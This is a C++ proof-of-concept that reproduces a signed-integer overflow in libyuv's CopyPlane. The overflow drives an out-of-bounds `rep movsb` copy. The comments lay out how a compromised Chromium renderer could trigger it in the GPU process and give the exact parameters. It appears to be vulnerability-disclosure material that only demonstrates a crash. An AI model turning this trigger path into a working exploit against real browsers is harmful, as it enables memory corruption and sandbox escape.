// POC: libyuv::CopyPlane signed-int overflow in row-coalescing path leads to
// unbounded `rep movsb` via CopyRow_ERMS sign-extension on x86_64.
//
// CopyPlane (third_party/libyuv/source/planar_functions.cc:47-50) coalesces
// rows when src_stride == dst_stride == width by computing `width *= height`
// on signed int with no overflow check. The (now negative) width is passed to
// the row kernel; on every ERMS-capable x86_64 CPU (all Ivy-Bridge+ Intel and
// Zen3+ AMD), CopyRow_ERMS is selected and casts the negative int to size_t,
// sign-extending it to ~2^63 and loading it into rcx for `rep movsb`.
//
// This program reproduces the exact CopyPlane call that the Chromium GPU
// process makes at gpu/command_buffer/service/copy_shared_image_helper.cc:690
// when handling a ReadbackARGBImagePixelsINTERNAL command from a compromised
// renderer with dst=16384x16384, color_type=kRGBA_F16, row_bytes=131072 on
// the Graphite backend (where Skia returns rowBytes(0)=131072).
//
// Two correctly-sized 2 GiB buffers are allocated (matching the API contract
// for the given width/stride/height), each followed by a PROT_NONE guard page.
// A correct implementation would copy exactly 2 GiB and return. Instead, the
// overflow drives `rep movsb` past the end of both buffers and the process
// crashes with SIGSEGV at the first guard page.
//
// Build (links against the in-tree ASAN-built libyuv objects):
//   see build_poc.sh
//
// Run:
//   ./libyuv_copyplane_poc
//
// Expected output: SIGSEGV at src_guard or dst_guard address, in
// CopyRow_ERMS / CopyPlane.

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#include "libyuv/cpu_id.h"
#include "libyuv/planar_functions.h"

int main() {
  if (!libyuv::TestCpuFlag(libyuv::kCpuHasERMS)) {
    fprintf(stderr,
            "[!] kCpuHasERMS not detected by libyuv. CopyRow_ERMS will not be\n"
            "    selected; SSE2/AVX/AVX512BW kernels self-terminate on\n"
            "    negative widths so the wild copy will not fire on this CPU.\n");
    return 2;
  }
  fprintf(stderr, "[+] libyuv detects kCpuHasERMS — CopyRow_ERMS will be used.\n");

  const long page = sysconf(_SC_PAGESIZE);
  // Values from the GPU-process call site for a 16384x16384 RGBA_F16 readback:
  //   width  = dst_info.width() * dst_info.bytesPerPixel() = 16384 * 8 = 131072
  //   height = dst_info.height()                            = 16384
  //   src_stride = async_result->rowBytes(0)                = 131072
  //   dst_stride = row_bytes (renderer-supplied)            = 131072
  const int kRowBytes = 131072;
  const int kHeight = 16384;
  const size_t kPlaneBytes =
      static_cast<size_t>(kRowBytes) * static_cast<size_t>(kHeight);  // 2^31
  const size_t kMapBytes = kPlaneBytes + static_cast<size_t>(page);

  uint8_t* src = static_cast<uint8_t*>(
      mmap(nullptr, kMapBytes, PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0));
  if (src == MAP_FAILED) {
    perror("mmap src");
    return 1;
  }
  if (mprotect(src + kPlaneBytes, page, PROT_NONE) != 0) {
    perror("mprotect src guard");
    return 1;
  }

  uint8_t* dst = static_cast<uint8_t*>(
      mmap(nullptr, kMapBytes, PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0));
  if (dst == MAP_FAILED) {
    perror("mmap dst");
    return 1;
  }
  if (mprotect(dst + kPlaneBytes, page, PROT_NONE) != 0) {
    perror("mprotect dst guard");
    return 1;
  }

  // Touch the last in-bounds byte of each region to prove the 2 GiB area
  // itself is accessible (so any later crash is past-end, not in-bounds).
  src[kPlaneBytes - 1] = 0xAB;
  dst[kPlaneBytes - 1] = 0xCD;

  fprintf(stderr,
          "[+] src = [%p .. %p)  guard @ %p\n"
          "[+] dst = [%p .. %p)  guard @ %p\n"
          "[+] Calling libyuv::CopyPlane(src, %d, dst, %d, width=%d, height=%d)\n"
          "    contract:  copy exactly %zu bytes (== width*height) and return\n"
          "    bug:       width *= height wraps 131072*16384 = 0x80000000 to\n"
          "               INT_MIN; CopyRow_ERMS sign-extends to\n"
          "               rcx=0xFFFFFFFF80000000 and rep movsb runs OOB.\n",
          (void*)src, (void*)(src + kPlaneBytes), (void*)(src + kPlaneBytes),
          (void*)dst, (void*)(dst + kPlaneBytes), (void*)(dst + kPlaneBytes),
          kRowBytes, kRowBytes, kRowBytes, kHeight, kPlaneBytes);

  // src_stride == dst_stride == width  → coalesce branch fires.
  libyuv::CopyPlane(src, kRowBytes, dst, kRowBytes, kRowBytes, kHeight);

  // Not reached when the bug is present.
  fprintf(stderr,
          "[-] CopyPlane returned without crashing — overflow did not lead to\n"
          "    OOB access (bug fixed or ERMS path not taken).\n");
  fprintf(stderr, "    dst[last] = 0x%02X (expected 0xAB)\n",
          dst[kPlaneBytes - 1]);
  munmap(src, kMapBytes);
  munmap(dst, kMapBytes);
  return 0;
}
